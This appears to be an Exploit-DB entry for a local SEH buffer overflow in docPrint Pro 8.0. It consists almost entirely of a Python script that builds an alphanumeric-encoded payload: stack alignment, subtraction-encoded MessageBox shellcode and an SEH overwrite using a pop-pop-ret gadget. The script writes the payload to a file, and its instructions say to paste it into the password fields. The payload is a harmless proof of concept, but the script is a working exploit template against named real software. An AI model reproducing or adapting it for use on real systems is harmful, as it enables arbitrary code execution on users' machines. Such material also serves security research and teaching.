# docPrint Pro 8.0 - SEH Buffer Overflow

**EDB-ID:**
47394

**CVE:**
N/A

**EDB Verified:** ×

**Author:**
CONNOR MCGARR

**Type:**
LOCAL

**Exploit:** / {}

**Platform:**
WINDOWS

**Date:**
2019-09-16

**Vulnerable App:**

```
import struct
# Title: docPrint Pro v8.0 'User/Master Password' Local SEH Alphanumeric
Encoded Buffer Overflow
# Date: September 14th, 2019
# Author: Connor McGarr (@33y0re) (https://connormcgarr.github.io)
# Vendor Homepage: http://www.verypdf.com
# Software Link: http://dl.verypdf.net/docprint_pro_setup.exe
# Version: 8.0
# Tested on: Windows 10 and Windows 7


# TO RUN:
# 1. Create a blank file named "test.pdf"
# 2. Open doc2pdf_win.exe
# 3. When the application loads, go to Settings > PDF Security > and check
"Encrypt PDF File"
# 4. Run this python script. Copy the contents and paste it into the "User
Password" and "Master Password" fields and press "okay"
# 5. Click "Add File(s)"
# 6. Select the "test.pdf" file created from step 1.
# 7. Press on "Start" and name the file "exploit.pdf"

# Unusual bad characters include: \x01\x05\x07\x08\x09 (and the usual
suspects that are not ASCII)

# Zero out registers for calculations.
zero = "\x25\x01\x01\x01\x01"
zero += "\x25\x10\x10\x10\x10"

# Stack alignment
alignment = "\x54"              # push esp
alignment += "\x58"             # pop eax
alignment += "\x2d\x1a\x50\x55\x55"     # sub eax, 0x1a505555
alignment += "\x2d\x1a\x4e\x55\x55"     # sub eax, 0x1a4e5555
alignment += "\x2d\x1a\x4e\x55\x55"     # sub eax, 0x1a4e5555
alignment += "\x50"             # push eax
alignment += "\x5c"                 # pop esp

# Custom created and encoded MessageBox POC shellcode.
# Utilized aplication DLL with no ASLR for Windows API call to MessageBox
function.
# \x31\xc0\x50\x68
# \x42\x41\x4a\x41
# \x89\xe1\x50\x68
# \x42\x41\x4a\x41
# \x89\xe2\x50\x50
# \x51\x52\x50\xbe
# \x38\x20\x00\x10
# \xff\xe6\x41\x41

# 534F1555 534F0255 53500157 (bit of byte mangling after jmp esi, but works
nonetheless!)
shellcode = zero                # zero out eax
shellcode += "\x2d\x55\x15\x4f\x53"     # sub eax, 0x534f1555
shellcode += "\x2d\x55\x02\x4f\x53"     # sub eax, 0x534f0255
shellcode += "\x2d\x57\x01\x50\x53"     # sub eax, 0x53500157
shellcode += "\x50"             # push eax

# 4F554A42 4F554A42 51554B44
shellcode += zero               # zero out eax
shellcode += "\x2d\x42\x4a\x55\x4f"     # sub eax, 0x4f554a42
shellcode += "\x2d\x42\x4a\x55\x4f"     # sub eax, 0x4f554a42
shellcode += "\x2d\x44\x4b\x55\x51"     # sub eax, 0x51554b44
shellcode += "\x50"             # push eax

# 153A393A 153A393A 173B3B3B
shellcode += zero
```

```
shellcode += "\x2d\x3a\x39\x3a\x15"     # sub eax, 0x173b3b3b
shellcode += "\x2d\x3a\x39\x3a\x15"     # sub eax, 0x153a393a
shellcode += "\x2d\x3b\x3b\x3b\x17"     # sub eax, 0x173b3b3b
shellcode += "\x50"             # push eax

# 3A3A1927 3A3A0227 3B3B0229
shellcode += zero               # zero out eax
shellcode += "\x2d\x27\x19\x3a\x3a"     # sub eax, 0x3a3a1927
shellcode += "\x2d\x27\x02\x3a\x3a"     # sub eax, 0x3a3a0227
shellcode += "\x2d\x29\x02\x3b\x3b"     # sub eax, 0x3b3b0229
shellcode += "\x50"             # push eax

# 3F3C3F3F 3F3C3F3F 403D4040
shellcode += zero               # zero out eax
shellcode += "\x2d\x3f\x3f\x3c\x3f"     # sub eax, 0x3f3c3f3f
shellcode += "\x2d\x3f\x3f\x3c\x3f"     # sub eax, 0x3f3c3f3f
shellcode += "\x2d\x40\x40\x3d\x40"     # sub eax, 0x403d4040
shellcode += "\x50"             # push eax

# 323A1A27 323A0227 333B0229
shellcode += zero               # zero out eax
shellcode += "\x2d\x27\x1a\x3a\x32"     # sub eax, 0x323a1a27
shellcode += "\x2d\x27\x02\x3a\x32"     # sub eax, 0x323a0227
shellcode += "\x2d\x29\x02\x3b\x33"     # sub eax, 0x333b0229
shellcode += "\x50"             # push eax

# 3F3C3F3F 3F3C3F3F 403D4040
shellcode += zero                               # zero out eax
shellcode += "\x2d\x3f\x3f\x3c\x3f"             # sub eax, 0x3f3c3f3f
shellcode += "\x2d\x3f\x3f\x3c\x3f"             # sub eax, 0x3f3c3f3f
shellcode += "\x2d\x40\x40\x3d\x40"             # sub eax, 0x403d4040
shellcode += "\x50"                             # push eax

# 323A1545 323A1545 333B1545
shellcode += zero               # zero out eax
shellcode += "\x2d\x45\x15\x3a\x32"     # sub eax, 0x323a1545
shellcode += "\x2d\x45\x15\x3A\x32"     # sub eax, 0x323a1545
shellcode += "\x2d\x45\x15\x3b\x33"     # sub eax, 0x333b1545
shellcode += "\x50"                 # push eax

# Let's roll.
payload = "\x41" * 1676
payload += "\x70\x06\x71\x06"           # JO 6 bytes. If fails, JNO 6 bytes
payload += struct.pack('<L', 0x10011874)    # pop ebp pop ebx ret reg.dll
payload += "\x41" * 2               # Padding to reach alignment
payload += alignment
payload += shellcode
payload += "\x45" * (6000-len(payload))

# Write to file
f = open('bajablast.txt', 'w')
f.write(payload)
f.close()
```

**Tags:**

**Advisory/Source:** Link